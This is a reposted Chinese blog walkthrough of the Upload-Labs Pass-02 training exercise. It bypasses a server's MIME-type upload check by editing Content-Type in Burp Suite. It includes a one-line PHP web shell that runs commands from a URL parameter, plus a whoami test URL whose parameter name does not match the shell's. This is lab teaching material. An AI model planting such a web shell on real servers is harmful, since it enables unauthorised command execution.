Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

admin 2024年8月1日14:22:58评论38 views字数 1241阅读4分8秒阅读模式

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

大家好!我是一个热衷于分享IT技术的up主。在这个公众号里,我将为大家带来最新、最实用的技术干货,从编程语言到前沿科技,从软件开发到网络安全。希望通过我的分享,能够帮助更多的小伙伴提升技术水平,共同成长!欢迎关注,一起探索科技的魅力吧!

upload-lab的第二关,我们需要应对MIME类型过滤。MIME类型是互联网媒体类型,用于指示文件的性质和格式。在实际的文件上传场景中,服务器通常会检查上传文件的MIME类型以确保安全。然而,通过某些技巧,我们可以绕过这种检查并上传恶意文件。本篇文章将详细介绍如何通过绕过MIME类型过滤来攻克upload-lab的第二关。

第二关简介

Pass02关卡中,服务器会检查上传文件的MIME类型,只有当MIME类型为允许的类型(如图片类型)时,文件才能成功上传。如果上传的文件MIME类型不符合要求,则会被拒绝。 源码如下图所示:

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
源码

绕过MIME类型过滤的方法

  1. 使用Burp Suite拦截并修改请求:这是最常用的方法,通过Burp Suite等抓包工具拦截上传请求,然后修改MIME类型。

  2. 构造特殊的文件:通过修改文件头信息,使文件看起来像是合法的类型。

实践步骤

  1. 准备工具
  • Burp Suite

  • 一个简单的Web Shell文件,例如:

<?php echo shell_exec($_GET['pass']); ?>
  1. 启动BurpSuite并配置浏览器代理
  • 启动Burp Suite并设置拦截模式,如下图所示:
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
启动BurpSuite并设置拦截模式
  • 配置浏览器使用BurpSuite作为代理,如下图所示:
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
配置浏览器使用代理

上图中的HTTProy代理地址和端口要与BurpSuite的设置一致,如下图所示:

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
HTTProy代理地址
  1. 此时上传webshell,点击上传,会自动调到BurpSuite页面,通过观察下图Content-Type的类型为application/x-php,因此,我们要对该类型进行修改成image/jpeg
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
Content-Type类型修改之前
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
Content-Type类型修改之后

修改后,先点击Action -> Send to Intruder,接着,点击Forward,点击后,会输入如下结果,如下图所示:

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
成功返回请求头

最后,通过前端页面中的源码看到webshell已经成功上传到服务器上,如下图所示:

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

验证上传成功

通过访问类似于http://服务器地址/upload/shell.php?cmd=whoami的URL来验证WebShell是否工作。如下图所示:Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

总结

通过这种方法,我们成功绕过了MIME类型过滤,上传了恶意文件。这展示了在文件上传功能中仅依赖MIME类型检查是不够的,还需要结合文件内容、扩展名等多重检查手段,才能有效防御此类攻击。

推荐阅读

Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?
Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

原文始发于微信公众号(攻城狮成长日记):Upload-Lab第二关:如何巧妙绕过MIME类型过滤?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月1日14:22:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Upload-Lab第二关:如何巧妙绕过MIME类型过滤?https://cn-sec.com/archives/3022018.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息